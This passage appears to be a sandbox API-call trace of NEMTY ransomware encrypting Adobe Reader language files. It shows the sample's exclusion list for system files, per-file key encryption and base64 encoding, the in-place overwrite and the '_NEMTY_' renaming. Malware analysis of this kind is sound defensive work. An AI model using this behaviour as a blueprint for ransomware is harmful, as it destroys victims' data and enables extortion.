RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_GT.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_GT.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_GT.txt", lpUsedDefaultChar=0x0) returned 30 [0215.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_GT.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_GT.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_GT.txt", lpUsedDefaultChar=0x0) returned 30 [0215.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_GT.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_GT.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_GT.txt", lpUsedDefaultChar=0x0) returned 30 [0215.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.410] Sleep (dwMilliseconds=0x5) [0215.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34096eb0, dwHighDateTime=0x1d561e8)) [0215.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34096eb0, dwHighDateTime=0x1d561e8)) [0215.418] GetLastError () returned 0x0 [0215.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.418] GetLastError () returned 0x0 [0215.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.418] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.418] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.419] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.419] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="srjEEMJQ3PWeDEYMhLmBGiTky5lKF+eF+P5hFNL7VLaLe/k9JE2hMG8Nqdy7AfIX\r\nAhUuu8Yb8yn1p3Y5ooI+PCznt06sh70/5Mk2ShGS02PndoNg2ntY5aU967umTczD\r\n4dhRAow2EAOjS7fs1xhRPwAO9b31WSaCcRvdXrSjEchb3WiPrqQ8K5Qtu/wbGKe7\r\ns/4Zg7bemVmfZIEMacxyAPlh7j0pt9vBRdLzUvJZk6zN4jdMGVLeA+ZxoualTYIa\r\n33KGEWa6ku12DEdI7cA0clWFPG55bj4DIGkvxSc4sxubpHbYAK7A1lKiMGF0nPFJ\r\nrWGodTGBZ4PV4dS1wS6wEw==\r\n", pcchString=0x653e5dc) returned 1 [0215.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.419] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_GT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_gt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.420] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28360) returned 1 [0215.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.420] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.420] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.423] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.423] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.423] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec8 [0215.424] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.424] CloseHandle (hObject=0x2e8) returned 1 [0215.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.424] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_GT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_gt.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_GT.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_gt.txt._nemty_kgobjgd_")) returned 1 [0215.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.425] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_HN.txt", cAlternateFileName="DI2D6E~1.TXT")) returned 1 [0215.426] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2=".") returned 1 [0215.426] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2="..") returned 1 [0215.426] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2="...") returned 1 [0215.426] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2="windows") returned -1 [0215.426] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.426] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2="rsa") returned -1 [0215.426] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2="NTDETECT.COM") returned -1 [0215.426] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2="ntldr") returned -1 [0215.427] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2="MSDOS.SYS") returned -1 [0215.427] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2="IO.SYS") returned -1 [0215.427] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2="boot.ini") returned 1 [0215.427] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2="boot.ini") returned 1 [0215.427] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.427] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2="ntuser.dat") returned -1 [0215.427] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2="desktop.ini") returned 1 [0215.427] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2="CONFIG.SYS") returned 1 [0215.427] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2="RECYCLER") returned -1 [0215.427] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.427] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2="bootmgr") returned 1 [0215.427] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2="programdata") returned -1 [0215.427] lstrcmpiW (lpString1="DisplayLanguageNames.es_HN.txt", lpString2="appdata") returned 1 [0215.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_HN.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_HN.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_HN.txt", lpUsedDefaultChar=0x0) returned 30 [0215.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_HN.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_HN.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_HN.txt", lpUsedDefaultChar=0x0) returned 30 [0215.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_HN.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_HN.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_HN.txt", lpUsedDefaultChar=0x0) returned 30 [0215.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_HN.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_HN.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_HN.txt", lpUsedDefaultChar=0x0) returned 30 [0215.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.428] Sleep (dwMilliseconds=0x5) [0215.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x340bd010, dwHighDateTime=0x1d561e8)) [0215.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x340bd010, dwHighDateTime=0x1d561e8)) [0215.434] GetLastError () returned 0x0 [0215.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.434] GetLastError () returned 0x0 [0215.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.434] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.434] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.434] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0215.434] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="kJoN9fotS6JxdJKUxNo3ukSe7jHAXNag+aILwIy2sFFlVc6Sqc0zXMQsSsMF72iu\r\nVCcBXaNAPy9IYSPKQHbnK6xykH9+EQffpNpSJ43kqq79q9+NWvUGcg9tmCOvj6ox\r\neVe16spyTrXpOwGE6WiZBTUofM4c4jrYQRsY1XFzWZ2E9PPQ/F87HDyRyPWMrVQi\r\n9GR4rsRZvA+LBkkL9MP+fDxvZw1pp1z16O66iDhlKd220GD0wKbhB0Esxwo6XJON\r\npvr0ruiIZIuXC+VHbwM6SzjQ5O36HTeLWHMf/XmeAJupwyARe/UqtZNB6gZEQush\r\nDeccINPxSmoRvnzeswVd0Q==\r\n", pcchString=0x653e5dc) returned 1 [0215.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0215.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.434] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_HN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_hn.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.435] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28360) returned 1 [0215.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.435] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.435] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.439] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.439] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.439] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec8 [0215.439] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.439] CloseHandle (hObject=0x2e8) returned 1 [0215.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.439] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.439] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.440] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_HN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_hn.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_HN.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_hn.txt._nemty_kgobjgd_")) returned 1 [0215.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: 